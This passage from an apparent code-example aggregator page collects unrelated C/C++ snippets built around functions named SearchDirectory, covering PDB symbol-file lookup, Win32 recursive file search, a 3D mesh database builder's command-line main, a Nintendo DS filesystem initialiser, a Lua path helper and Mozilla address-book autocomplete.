                strcmp(pd->d_name, "..")!=0)
        {
            std::string sPdbFileName = sUtf8SearchDir;
            sPdbFileName += '/';
            sPdbFileName += pd->d_name;

            std::string sPeFileName = sUtf8SearchDir;
            sPeFileName += "/";
            sPeFileName += strconv::w2utf8(sPeName);

            size_t pos = sPdbFileName.rfind('.');
            std::string sExt = sPdbFileName.substr(pos);
            std::transform(sExt.begin(), sExt.end(), sExt.begin(), tolower);

            struct stat st;
            if(0==stat(sPdbFileName.c_str(), &st))
            {
                if(sExt.compare(".pdb")==0 && S_ISREG(st.st_mode))
                {
                    if(TryPdbFile(strconv::a2w(sPdbFileName), strconv::a2w(sPeFileName),
                                  sGUIDnAge, ppPdbReader, ppPeReader, pnEntry, false, sErrorMsg, bExactMatchBuildAge))
                        return true;
                }
                else if(bRecursive && S_ISDIR(st.st_mode))
                {
                    if(SearchDirectory(strconv::a2w(sPdbFileName), SearchMode,
                                       bRecursive, sPdbName, sPeName, sGUIDnAge, ppPdbReader, ppPeReader, pnEntry, sErrorMsg, bExactMatchBuildAge))
                        return true;
                }
            }
        }
    }


#endif

    return false;
}
示例#25
0
int SearchDirectory(std::vector<std::wstring> &refvecFiles,
                     std::wstring        &refcstrRootDirectory,
                     std::wstring        &refcstrExtension,
                    bool                     bSearchSubdirectories = true)
{
  std::wstring     strFilePath;             // Filepath
  std::wstring     strPattern;              // Pattern
  std::wstring     strExtension;            // Extension
  HANDLE          hFile;                   // Handle to file
  WIN32_FIND_DATA FileInformation;         // File information


  strPattern = refcstrRootDirectory + std::wstring( L"\\*.*");

  hFile = ::FindFirstFile(strPattern.c_str(), &FileInformation);
  if(hFile != INVALID_HANDLE_VALUE)
  {
    do
    {
      if(FileInformation.cFileName[0] != '.')
      {
        strFilePath.erase();
//        strFilePath = refcstrRootDirectory + std::wstring( L"\\") + std::wstring( FileInformation.cFileName);
        strFilePath =  std::wstring( FileInformation.cFileName);

        if(FileInformation.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
        {
          if(bSearchSubdirectories)
          {
            // Search subdirectory
            int iRC = SearchDirectory(refvecFiles,
                                      strFilePath,
                                      refcstrExtension,
                                      bSearchSubdirectories);
            if(iRC)
              return iRC;
          }
        }
        else
        {
          // Check extension
		  strExtension = std::wstring(FileInformation.cFileName);
		  strExtension = strExtension.substr(strExtension.rfind(L".") + 1);

          if(strExtension == refcstrExtension)
          {
            // Save filename
            refvecFiles.push_back(strFilePath);
          }
        }
      }
    } while(::FindNextFile(hFile, &FileInformation) );

    // Close handle
    ::FindClose(hFile);

    DWORD dwError = ::GetLastError();
    if(dwError != ERROR_NO_MORE_FILES)
      return dwError;
  }

  return 0;
}
示例#26
0
int
main (int argc,char **argv )
{
#ifdef _DEBUG
	printf("SIZE OF CELL: %d\n",sizeof(Cell));
	printf("SIZE OF EdiTCOmmitData: %d\n",sizeof(EditCommitAuxData));
	printf("SIZE OF RenderAuxData: %d\n",sizeof(RenderAuxData));
	printf("SIZE OF FBOOL: %d\n",sizeof(FBool));
	printf("SIZE OF BoolVector: %d\n",sizeof(BoolVector));
	printf("SIZE OF Chain<GIndex>: %d\n",sizeof(Chain<GIndex>));
	printf("SIZE OF std::map<unsigned int,unsigned int>: %d\n",sizeof(std::map<unsigned int,unsigned int>));
	printf("waste: %d\n",sizeof(FBool)*5+sizeof(BoolVector)*3+sizeof(Chain<GIndex>)+sizeof(std::map<unsigned int,unsigned int>));

	printf("SIZE OF Chain<GIndex>: %d\n",sizeof(Chain<GIndex>));
	printf("SIZE OF Chain<OFace>: %d\n",sizeof(Chain<OFace>));
	printf("SIZE OF Chain<OVertex>: %d\n",sizeof(Chain<OVertex>));
	printf("SIZE OF Chain<OVertex>::Chunk: %d\n",sizeof(Chain<OVertex>::Chunk));
	printf("SIZE OF CachePolicy: %d\n",sizeof(CachePolicy));
	printf("SIZE OF std::string: %d\n",sizeof(std::string));
	printf("SIZE OF vcgMesh: %d\n",sizeof(vcgMesh));
	printf("SIZE OF Impostor: %d\n",sizeof(Impostor));
#endif

 	
	std::vector<std::wstring>  refvecFiles;
	std::wstring        refcstrRootDirectory(L".");
	std::wstring        refcstrExtension(L"ply");
	bool                     bSearchSubdirectories = true;
                    
//	_CrtSetBreakAlloc(1281429);
	std::vector<std::string> files_to_load;
	struct stat buf;
	


{


	int c;
	int digit_optind = 0;
	unsigned int meshadded = 0,
        max_meshes = 1000 /*std::numeric_limits<unsigned int>::max()*/,
        min_meshes = 0,
        min_meshes_aln = 0,
        max_meshes_aln= 1000 /*std::numeric_limits<unsigned int>::max()*/,
        cache_memory_limit = 200,
        berkeley_page_size = 1024,
        side_factor = 50;

	std::string ocmename,tra_ma_file;
	bool logging  = false;
	bool save_impostors  = false;
	bool overwrite_database = false;
	bool transform = false;
	bool verify = false;
	bool only_vertices = false;
	bool compute_normals = false;
	bool all_plys = false;
	bool compute_stats = false;
	bool recompute_impostors = false;
    vcg::Matrix44f tra_ma;tra_ma.SetIdentity();

#ifdef _DEBUG
        printf("ocme builder DEBUG MODE\n");
#endif
	 

  std::string stat_file = std::string(""); 
  if(argc==1)
	  UsageExit();
  while (1)
    {
      int this_option_optind = optind ? optind : 1;

	  c = getopt (argc, argv, "IVFsqciosnvp:t:m:l:f:L:a:A:k:S:");
      if (c == EOF)
        break;

      switch (c)
        {
        case 'q':
          verify = true;
          break;
        case 'i':
          save_impostors = true;
          break;
        case 'I':
          recompute_impostors = true;
          break;
        case 'n':
          compute_normals = true;
          break;
        case 's':
          only_vertices = true;
          break;
        case 'V':
          compute_stats = true;
          break;
#ifdef _WIN32
		case 'F':
			all_plys = true;
			SearchDirectory(refvecFiles,refcstrRootDirectory,refcstrExtension,false);
			break;
#endif
        case 't':
          transform = true;
		  printf("filename %s\n",optarg );tra_ma_file = std::string(optarg);
		  LoadTraMa(tra_ma_file.c_str(),tra_ma);
          break;

        case 'S':
		  printf("filename %s\n",optarg );stat_file = std::string(optarg);
          break;

		case 'o':
          overwrite_database = true;
          break;
		case 'f':
		printf("filename %s\n",optarg );ocmename = std::string(optarg);
          break;

		case 'a':
		 min_meshes_aln = atoi(optarg);
          break;

		case 'k':
		 side_factor = atoi(optarg);
          break;

		case 'A':
		 max_meshes_aln = atoi(optarg);
          break;

		case 'l':
		 min_meshes = atoi(optarg);
          break;

		case 'L':
		 max_meshes = atoi(optarg);
          break;

		case 'm':
		  cache_memory_limit = 	atoi(optarg);
		  break;

		case 'p':
		  berkeley_page_size = 	atoi(optarg);
		  break;

		case 'v':
			logging = true;
		  break;

		default:
          printf("unknown parameter 0%o ??\n", c);
		  UsageExit();
        }
    }

 /* .................................. */
  Impostor::Gridsize()= 8;

  if(stat_file.empty()) 
	  stat_file = ocmename + std::string("_log.txt");
  
  lgn = new Logging(stat_file.c_str());
  lgn->Append("starting");
  lgn->Push();
  

   TIM::Begin(1);
   STAT::Begin(N_STAT);

 	meshona = new OCME();
	meshona->params.side_factor = side_factor;
 	meshona->oce.cache_policy->memory_limit  = cache_memory_limit * (1<<20);

	lgn->off = !logging;
	if(!verify && !compute_stats && !recompute_impostors){
 		meshona->streaming_mode = true;	


 		int start = clock();
 		int totalstart = start;

#ifdef SIMPLE_DB
    if(overwrite_database)
          meshona->Create((std::string(ocmename)).c_str(),berkeley_page_size);
    else
          meshona->Open((std::string(ocmename)+std::string(".socm")).c_str());
#else
    if(overwrite_database)
        meshona->Create((std::string(ocmename) +std::string(".kch") ).c_str(),berkeley_page_size);
    else
        meshona->Open((std::string(ocmename)+std::string(".kch")).c_str());
#endif

	  if(all_plys)
		  for(int i  = 0 ;  i < refvecFiles.size()  ;++i) 
			  files_to_load.push_back( std::string( refvecFiles[i].begin(),refvecFiles[i].end()));
	  else	
		  for(int i  = optind ; (i < argc) ;++i) 
			files_to_load.push_back(argv[i]);


		for(int i  = min_meshes; (i < files_to_load.size())&&  (i<max_meshes)&& !Interrupt();++i){
		
			unsigned int wh = std::string(files_to_load[i]).find(std::string(".aln"));

			if(wh == std::string(files_to_load[i]).length()-4)
			
			// it is an aln file
			{
				std::vector<std::pair<std::string,vcg::Matrix44f> > aln;
				LoadAln(files_to_load[i].c_str(),aln);

				printf("aln.size()  = %d\n",aln.size());
				for(unsigned int idm = min_meshes_aln; (idm<  std::min(max_meshes_aln,aln.size())) && !Interrupt();++idm){
									STAT::Reset();
									start = clock();
					vcgMesh m;
					stat(aln[idm].first.c_str(),&buf);

					++meshona->stat.n_files;
					meshona->stat.input_file_size+=buf.st_size;
					TIM::Begin(0);
					vcg::tri::io::ImporterPLY<vcgMesh>::Open(m,aln[idm].first.c_str());
					TIM::End(0);
					meshona->stat.n_triangles += m.fn;
					meshona->stat.n_vertices += m.fn;				

					printf("%d of %d in %f sec\n",idm,aln.size(),(clock()-start)/float(CLOCKS_PER_SEC));
					vcg::tri::UpdatePosition<vcgMesh>::Matrix(m,aln[idm].second);
					unsigned int newstart = clock();
					if(!m.face.empty()){

						if(only_vertices){
							if(compute_normals)
								vcg::tri::UpdateNormals<vcgMesh>::PerVertexPerFace(m);
							m.fn = 0;
						}	
						if(transform){
							sprintf(lgn->Buf(),"Apply transform" );
							lgn->Push();
							vcg::tri::UpdatePosition<vcgMesh>::Matrix(m,tra_ma);
						}
 		 				meshona->AddMesh(m);
						++meshadded;
					}
					printf("Sizeof meshona->oce %d\n", meshona->oce.SizeOfMem());
					samples.push_back(Sample( m.fn,(clock()-newstart)/float(CLOCKS_PER_SEC),meshona->cells.size(),
															  STAT::V(0),STAT::V(1),STAT::V(6),STAT::V(3),STAT::V(5)));
					PrintFacesSec();
				}
			}
			else
				// It is a ply file
			{

				STAT::Reset();
				start = clock();
 				vcgMesh m;
				unsigned long n_faces  =0;
	 
		
				sprintf(lgn->Buf(),"Adding mesh %s (%d of %d)..Loading",files_to_load[i].c_str(),i, files_to_load.size());
				lgn->Push();

				stat(files_to_load[i].c_str(),&buf);
				meshona->stat.input_file_size+=buf.st_size;
			 	if(buf.st_size < 100 * (1<<20))
				//	if(false)
				{// if the file is less that 50MB load the mesh in memory and then add it

					int mask = 0;

					TIM::Begin(0);

									
					AttributeMapper am;
					vcg::tri::io::ImporterPLY<vcgMesh>::LoadMask(files_to_load[i].c_str(),mask);

					if(mask & vcg::tri::io::Mask::IOM_VERTCOLOR){
						m.vert.EnableColor();
						am.vert_attrs.push_back("Color4b");
					}

					vcg::tri::io::ImporterPLY<vcgMesh>::Open(m,files_to_load[i].c_str(),cb);

					meshona->stat.n_triangles += m.fn;
					meshona->stat.n_vertices += m.vn;

					if(transform){
						sprintf(lgn->Buf(),"Apply transform" );
						lgn->Push();
						vcg::tri::UpdatePosition<vcgMesh>::Matrix(m,tra_ma);
	
//					vcg::tri::io::ExporterPLY<vcgMesh>::Save(m,std::string(argv[i]).append("T.ply").c_str());
					}
					TIM::End(0);	

					n_faces = m.fn;
					sprintf(lgn->Buf(),"loaded in %f seconds\n",(clock()-start)/float(CLOCKS_PER_SEC));
					lgn->Push();

					assert( MemDbg::CheckHeap(0));

					++meshona->stat.n_files;

					if(only_vertices){
						if(compute_normals) {
								vcg::tri::UpdateNormals<vcgMesh>::PerVertexPerFace(m);
								am.vert_attrs.push_back("Normal3f");
						}
							m.fn = 0;
						}	
					meshona->AddMesh(m,am);
					++meshadded;

					sprintf(lgn->Buf(),"#cells: %d \n", meshona->cells.size());
					lgn->Push();
				}
				else
				{
					TIM::Begin(2);
					// if the file is more that 50 MB build directly from file
					n_faces = vcg::tri::io::ImporterOCMPLY<vcgMesh>::Open(m,meshona,files_to_load[i].c_str(),tra_ma,true,cb);
					TIM::End(2);
				}
				
				sprintf(lgn->Buf(),"added in %f seconds\n",(clock()-start)/float(CLOCKS_PER_SEC));
							lgn->Push();
							samples.push_back(Sample( n_faces,(clock()-start)/float(CLOCKS_PER_SEC),meshona->cells.size(),
													  STAT::V(0),STAT::V(1),STAT::V(6),STAT::V(3),STAT::V(5)));
				PrintFacesSec();
							printf("accesses % d \n",STAT::V(N_ACCESSES));

			}

		}
			meshona->RemoveEmptyCells();
 			start = clock();
			printf("number of cells: %d \n number of chains %d\n",
				meshona->cells.size(),
				meshona->oce.chains.size());

			if(save_impostors){
				vcgMesh impostorMesh;
				vcg::tri::io::PlyInfo pi;
				pi.mask |=  vcg::tri::io::Mask::IOM_VERTCOLOR | vcg::tri::io::Mask::IOM_VERTNORMAL;
				impostorMesh.vert.EnableColor();
				meshona->ImpostorsToMesh(impostorMesh);
				vcg::tri::io::ExporterPLY<vcgMesh>::Save(impostorMesh,(std::string(ocmename)+std::string("_imp.ply")).c_str(),pi.mask);
			}

			meshona->Close(true);
			
			TIM::End(1);

			PrintFacesSec();

			printf("closed %ld seconds\n",(clock()-start)/CLOCKS_PER_SEC);
			printf("total %ld seconds\n",(clock()-totalstart)/CLOCKS_PER_SEC);
	//
			PrintStats();
}
else
{
#ifdef SIMPLE_DB
	meshona->Open(( ocmename+std::string(".socm")).c_str());
#else
        meshona->Open(( ocmename+std::string(".kch")).c_str());
#endif
	if(verify)
		meshona->Verify();
	if(compute_stats){
		meshona->ComputeStatistics();
		printf("tri: %d, ver %d]\n",meshona->stat.n_triangles,meshona->stat.n_vertices);
	}
	if(recompute_impostors)
		meshona->ComputeImpostors();
	meshona->Close(false);
}

		delete meshona;
}	
		
		samples.clear();


		MemDbg::End();
		MemDbg::DumpMemoryLeaks();
}
示例#27
0
bool
CPdbCache::FindPdb(
    std::wstring sGUIDnAge,
    std::wstring sPdbFileName,
    std::wstring sImageFileName,
    CPdbReader** ppPdbReader,
    CPeReader** ppPeReader,
    int* pnEntry,
    std::string* psErrorMsg,
    bool bExactMatchBuildAge
)
{
    // Init output variables
    if(ppPdbReader!=NULL)
        *ppPdbReader = NULL;

    if(ppPeReader!=NULL)
        *ppPeReader = NULL;

    if(pnEntry!=NULL)
        *pnEntry = -1;

    if(psErrorMsg)
        *psErrorMsg = "Unspecified error";

    // Validate input

    if(sGUIDnAge.empty() ||
            sPdbFileName.empty())
    {
        if(psErrorMsg)
            *psErrorMsg = "Either GUIDnAge or path should be specified";
        return false; // Either GUIDnAge or path should be specified
    }

    if(ppPdbReader==NULL ||
            ppPeReader==NULL ||
            pnEntry==NULL)
    {
        if(psErrorMsg)
            *psErrorMsg = "Output variables should be set";
        return false; // Output variables should be set
    }

    bool bStatus = false;
    CPdbReader* pPdbReader = NULL;
    CPeReader* pPeReader = NULL;
    std::wstring sDir;
    std::wstring sFile;
    std::wstring sBaseName;
    std::wstring sExt;
    std::wstring sPdbName;
    std::wstring sPeName;
    std::map<std::wstring, _SearchDirInfo>::iterator it;
    int nEntry = -1;
    std::string sErrorMsg;

    // Fix slashes in file path (OS dependent)
    FixSlashesInFilePath(sPdbFileName);
    FixSlashesInFilePath(sImageFileName);

    // If GUID+Age is specified, check if we have a PDB with such GUID+Age loaded
    if(!sGUIDnAge.empty())
    {
        eFindExistingEntryResult res = FindExistingEntry(sGUIDnAge, sPdbFileName,
                                       sImageFileName, &pPdbReader, &pPeReader, &nEntry, bExactMatchBuildAge);
        if(res==FEE_FOUND)
        {
            sErrorMsg = "Success";
            bStatus = true;
            goto cleanup;
        }

        if(res==FEE_PENDING_DELETE)
        {
            sErrorMsg = "File is found in cache, but it is marked for deletion";
            bStatus = false;
            goto cleanup;
        }
    }

    // Try to find matching PDB file from search dirs

    // Get image file base name (without path and extension)
    SplitFileName(sPdbFileName, sDir, sFile, sBaseName, sExt);
    sPdbName = sBaseName + L".pdb";
    SplitFileName(sImageFileName, sDir, sFile, sBaseName, sExt);
    sPeName = sBaseName + L".";
    sPeName += sExt;

    for(it=m_aSearchDirs.begin(); it!=m_aSearchDirs.end(); it++)
    {
        _SearchDirInfo& sdi = it->second;

        bStatus = SearchDirectory(sdi.m_sPath, sdi.m_SearchMode, sdi.m_bSearchRecursively,
                                  sPdbName, sPeName, sGUIDnAge, &pPdbReader, &pPeReader, &nEntry, sErrorMsg, bExactMatchBuildAge);
        if(bStatus)
            break;
    }

    sErrorMsg = "Exhausted search";

cleanup:

    if(bStatus)
    {
        // Return the results
        *ppPdbReader = pPdbReader;
        *ppPeReader = pPeReader;
        *pnEntry = nEntry;
    }

    if(psErrorMsg)
        *psErrorMsg = sErrorMsg;

    return bStatus;
}
示例#28
0
// initialize the file system
int EFS_Init(int options, char *path) {

    bool found = false;

    // reset current path
    memset(currPath, 0, EFS_MAXPATHLEN);
	
	//iprintf("efs1\n");

    // first try to init NitroFS from GBA mem
    sysSetBusOwners(BUS_OWNER_ARM9, BUS_OWNER_ARM9);    // take gba slot ownership
	//iprintf("efs2\n");
    
    if(strncmp(((const char*)GBAROM)+EFS_LOADERSTROFFSET, EFS_GBALOADERSTR, strlen(EFS_GBALOADERSTR)) == 0) {

        // there's a GBA loader here
        memcpy(&fnt_offset, EFS_FNTOFFSET+EFS_LOADEROFFSET + (void*)GBAROM, sizeof(fnt_offset));
        memcpy(&fat_offset, EFS_FATOFFSET+EFS_LOADEROFFSET + (void*)GBAROM, sizeof(fat_offset));
        fnt_offset += EFS_LOADEROFFSET;
        fat_offset += EFS_LOADEROFFSET;
        hasLoader = true;
        useDLDI = false;
        AddDevice(&EFSdevoptab);
        found = true;
        strcpy(efs_path, "GBA ROM");
		//iprintf("GBA2\n");
        
    } else if(strncmp(((const char*)GBAROM)+EFS_LOADERSTROFFSET, EFS_STDLOADERSTR, strlen(EFS_STDLOADERSTR)) == 0) {

        // there's a standard nds loader here
        memcpy(&fnt_offset, EFS_FNTOFFSET + (void*)GBAROM, sizeof(fnt_offset));
        memcpy(&fat_offset, EFS_FATOFFSET + (void*)GBAROM, sizeof(fat_offset));
        hasLoader = false;
        useDLDI = false;
        AddDevice(&EFSdevoptab);
        found = true;        
        strcpy(efs_path, "GBA ROM");
		//iprintf("GBA2\n");
        
    } else {

        // if init from GBA mem failed go for DLDI I/O    
        useDLDI = true;
        //iprintf("DLDI\n");
        // init libfat if requested
        if(options & EFS_AND_FAT) {
            if(!fatInitDefault())
                return false;
        }
		//iprintf("FatInited\n");

        // check if the provided path is valid
        if(path && CheckFile(path, true)) 
		{
            found = true;
			//iprintf("Path1-1\n");
        } else 
		{
            // check if there's already a path stored
            if(efs_path[0]) {
                if(CheckFile(efs_path, false)) {
                    found = true;
                } else {
                    efs_path[0] = '\0';
                }
            }
			//iprintf("Path2-1\n");

            // if no path is defined, search the whole FAT space
            if(!efs_path[0]) 
			{
                chdir("/");
                if(SearchDirectory())
                    found = true;
            }
			//iprintf("Path2-2\n");
        }

        // if nds file is found, open it and read the header
        if(found) 
		{
			//iprintf("Path2-3\n");
            char buffer[8];
        
            nds_file = open(efs_path, O_RDWR);

            // check for if a loader is present
            lseek(nds_file, EFS_LOADERSTROFFSET, SEEK_SET);
            read(nds_file, buffer, 6);
            buffer[7] = '\0';
            
            if(strcmp(buffer, EFS_GBALOADERSTR) == 0) {
                // loader present
                lseek(nds_file, EFS_LOADEROFFSET+EFS_FNTOFFSET, SEEK_SET);
                read(nds_file, &fnt_offset, sizeof(u32));
                lseek(nds_file, 4, SEEK_CUR);
                read(nds_file, &fat_offset, sizeof(u32));
                fnt_offset += EFS_LOADEROFFSET;
                fat_offset += EFS_LOADEROFFSET;
                hasLoader = true;
            } else {
                lseek(nds_file, EFS_FNTOFFSET, SEEK_SET);
                read(nds_file, &fnt_offset, sizeof(u32));
                lseek(nds_file, 4, SEEK_CUR);
                read(nds_file, &fat_offset, sizeof(u32));
                hasLoader = false;
            }  
            
            AddDevice(&EFSdevoptab);
        }
    }
    
    // set as default device if requested
    if(found && (options & EFS_DEFAULT_DEVICE))
        chdir(EFS_DEVICE);      // works better than setDefaultDevice();

    return (found && (!useDLDI || (nds_file != -1)));
}
示例#29
0
void LuaPath::addLuaRequirePath(LuaStatePtr state, std::string const& dirEndingInSlash) {
    LuaSearchPathUpdater searchpath(state.get());

    searchpath.extend(SearchDirectory(dirEndingInSlash));
}
NS_IMETHODIMP nsAbAutoCompleteSession::OnStartLookup(const PRUnichar *uSearchString, nsIAutoCompleteResults *previousSearchResult, nsIAutoCompleteListener *listener)
{
    nsresult rv = NS_OK;

    if (!listener)
        return NS_ERROR_NULL_POINTER;

    PRBool enableLocalAutocomplete;
    PRBool enableReplicatedLDAPAutocomplete;

    nsCOMPtr<nsIPrefBranch> prefs(do_GetService(NS_PREFSERVICE_CONTRACTID, &rv));
    NS_ENSURE_SUCCESS(rv, rv);

    // check if using autocomplete for local address books
    rv = prefs->GetBoolPref("mail.enable_autocomplete", &enableLocalAutocomplete);
    NS_ENSURE_SUCCESS(rv,rv);

    rv = NeedToSearchReplicatedLDAPDirectories(prefs, &enableReplicatedLDAPAutocomplete);
    NS_ENSURE_SUCCESS(rv,rv);

    if (uSearchString[0] == 0 || (!enableLocalAutocomplete && !enableReplicatedLDAPAutocomplete))
    {
        listener->OnAutoComplete(nsnull, nsIAutoCompleteStatus::ignored);
        return NS_OK;
    }

    // figure out what we're supposed to do about the comment column, and
    // remember it for when the results start coming back
    //
    rv = prefs->GetIntPref("mail.autoComplete.commentColumn",
                           &mAutoCompleteCommentColumn);
    if (NS_FAILED(rv)) {
        mAutoCompleteCommentColumn = 0;
    }


    // strings with commas (commas denote multiple names) should be ignored for
    // autocomplete purposes
    PRInt32 i;
    for (i = nsCRT::strlen(uSearchString) - 1; i >= 0; i --)
        if (uSearchString[i] == ',')
        {
            listener->OnAutoComplete(nsnull, nsIAutoCompleteStatus::ignored);
            return NS_OK;
        }

    nsAbAutoCompleteSearchString searchStrings(uSearchString);

    nsCOMPtr<nsIAutoCompleteResults> results = do_CreateInstance(NS_AUTOCOMPLETERESULTS_CONTRACTID, &rv);
    if (NS_SUCCEEDED(rv))
        if (NS_FAILED(SearchPreviousResults(&searchStrings, previousSearchResult, results)))
        {
            nsresult rv1,rv2;

            if (enableLocalAutocomplete) {
                rv1 = SearchDirectory(NS_LITERAL_CSTRING(kAllDirectoryRoot), &searchStrings,
                                      PR_TRUE, results);
                NS_ASSERTION(NS_SUCCEEDED(rv1), "searching all local directories failed");
            }
            else
                rv1 = NS_OK;

            if (enableReplicatedLDAPAutocomplete) {
                rv2 = SearchReplicatedLDAPDirectories(prefs, &searchStrings, PR_TRUE, results);
                NS_ASSERTION(NS_SUCCEEDED(rv2), "searching all replicated LDAP directories failed");
            }
            else
                rv2 = NS_OK;

            // only bail out if both failed.  otherwise, we have some results we can use
            if (NS_FAILED(rv1) && NS_FAILED(rv2))
                rv = NS_ERROR_FAILURE;
            else
                rv = NS_OK;
        }

    AutoCompleteStatus status = nsIAutoCompleteStatus::failed;
    if (NS_SUCCEEDED(rv) && results)
    {
        PRBool addedDefaultItem = PR_FALSE;

        results->SetSearchString(uSearchString);
        results->SetDefaultItemIndex(-1);
        if (mDefaultDomain[0] != 0)
        {
            PRUnichar emptyStr = 0;
            AddToResult(&emptyStr, uSearchString, &emptyStr, &emptyStr,
                        &emptyStr, &emptyStr, &emptyStr, 0 /* popularity index */, PR_FALSE,
                        PR_TRUE, results);
            addedDefaultItem = PR_TRUE;
        }

        nsCOMPtr<nsISupportsArray> array;
        rv = results->GetItems(getter_AddRefs(array));
        if (NS_SUCCEEDED(rv))
        {
            //If we have more than a match (without counting the default item), we don't
            //want to auto complete the user input therefore set the default item index to -1

            PRUint32 nbrOfItems;
            rv = array->Count(&nbrOfItems);
            if (NS_SUCCEEDED(rv))
                if (nbrOfItems == 0)
                    status = nsIAutoCompleteStatus::noMatch;
                else
                {
                    status = nsIAutoCompleteStatus::matchFound;
                    if (addedDefaultItem)
                    {
                        // If we have at least one REAL match then make it the default item. If we don't have any matches,
                        // just the default domain, then don't install a default item index on the widget.
                        results->SetDefaultItemIndex(nbrOfItems > 1 ? 1 : -1);
                    }
                    else
                        results->SetDefaultItemIndex(0);
                }
        }
    }
    listener->OnAutoComplete(results, status);

    return NS_OK;
}